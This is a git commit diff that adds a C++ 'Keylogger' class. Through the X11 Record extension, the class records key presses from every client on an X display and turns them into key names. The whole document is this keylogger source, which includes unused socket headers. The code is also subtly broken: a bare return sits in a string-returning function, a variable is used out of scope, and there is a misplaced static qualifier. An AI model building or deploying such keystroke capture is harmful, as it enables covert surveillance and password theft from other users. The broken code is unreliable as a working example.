summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--includes/Keylogger.hpp71
-rw-r--r--srcs/Keylogger.cpp88
2 files changed, 159 insertions, 0 deletions
diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp
new file mode 100644
index 0000000..91f5a71
--- /dev/null
+++ b/includes/Keylogger.hpp
@@ -0,0 +1,71 @@
+//
+// Keylogger.hpp for Keylogger clas in /home/vianney
+//
+// Made by Vianney Bouchaud
+// Login <vianney@bouchaud.org>
+//
+// Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud
+// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud
+//
+
+#ifndef __KEYLOGGER_HH__
+# define __KEYLOGGER_HH__
+
+#include <X11/Xlibint.h>
+#include <X11/Xlib.h>
+#include <X11/Xutil.h>
+#include <X11/Xos.h>
+#include <X11/Shell.h>
+#include <X11/cursorfont.h>
+#include <X11/keysymdef.h>
+#include <X11/keysym.h>
+#include <X11/extensions/record.h>
+#include <X11/extensions/XTest.h>
+#include <unistd.h>
+#include <exception>
+#include <string>
+#include <iostream>
+#include <stdio.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netdb.h>
+
+struct CallbackClosure {
+ Display *ctrlDisplay;
+ Display *dataDisplay;
+ int curX;
+ int curY;
+ void *initialObject;
+};
+
+typedef union {
+ unsigned char type;
+ xEvent event;
+ xResourceReq req;
+ xGenericReply reply;
+ xError error;
+ xConnSetupPrefix setup;
+} XRecordDatum;
+
+class Keylogger {
+public:
+ Keylogger();
+ ~Keylogger();
+ void start();
+ void stop();
+ void processData();
+ bool xConnect(std::string displayName);
+
+private:
+ std::string m_displayName;
+ CallbackClosure userData;
+ std::pair<int,int> recVer;
+ XRecordRange *recRange;
+ XRecordClientSpec recClientSpec;
+ XRecordContext recContext;
+
+ void setupRecordExtension();
+ static std::string eventCallback(XPointer priv, XRecordInterceptData *hook);
+};
+
+#endif /* !__KEYLOGGER_HH__ */
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp
new file mode 100644
index 0000000..2dd2b90
--- /dev/null
+++ b/srcs/Keylogger.cpp
@@ -0,0 +1,88 @@
+//
+// Keylogger.cpp for Keylogger class in /home/vianney
+//
+// Made by Vianney Bouchaud
+// Login <vianney@bouchaud.org>
+//
+// Started on Wed Oct 5 13:58:25 2011 Vianney Bouchaud
+// Last update Thu Oct 6 19:03:44 2011 Vianney Bouchaud
+//
+
+#include <string>
+#include "Keylogger.hpp"
+
+Keylogger::Keylogger()
+{
+}
+
+Keylogger::~Keylogger()
+{
+ stop();
+}
+
+void Keylogger::start()
+{
+ if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData))
+ throw exception();
+}
+
+void Keylogger::stop()
+{
+ if(!XRecordDisableContext(userData.ctrlDisplay, recContext))
+ throw exception();
+}
+
+void Keylogger::setupRecordExtension()
+{
+ XSynchronize(userData.ctrlDisplay, True);
+ if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second))
+ throw exception();
+ recRange = XRecordAllocRange();
+ if (!recRange)
+ throw exception();
+ recRange->device_events.first = KeyPress;
+ recRange->device_events.last = KeyPress;
+ recClientSpec = XRecordAllClients;
+ recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1);
+ if (!recContext)
+ throw exception();
+}
+
+void Keylogger::processData()
+{
+ XRecordProcessReplies(userData.dataDisplay);
+}
+
+bool Keylogger::xConnect(string displayName)
+{
+ m_displayName = displayName;
+ if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str())))
+ return (false);
+ if (NULL == (userData.dataDisplay = XOpenDisplay(m_displayName.c_str())))
+ {
+ XCloseDisplay(userData.ctrlDisplay);
+ userData.ctrlDisplay = NULL;
+ return (false);
+ }
+ userData.initialObject = (void *)this;
+ setupRecordExtension();
+ return (true);
+}
+
+static std::string Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
+{
+ if (hook->category != XRecordFromServer)
+ {
+ XRecordFreeData(hook);
+ return;
+ }
+ CallbackClosure *userData = (CallbackClosure *)priv;
+ XRecordDatum *data = (XRecordDatum *) hook->data;
+ if(data->event.u.u.type == KeyPress)
+ {
+ int c = data->event.u.u.detail;
+ std::string solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0));
+ }
+ XRecordFreeData(hook);
+ return (solv);
+}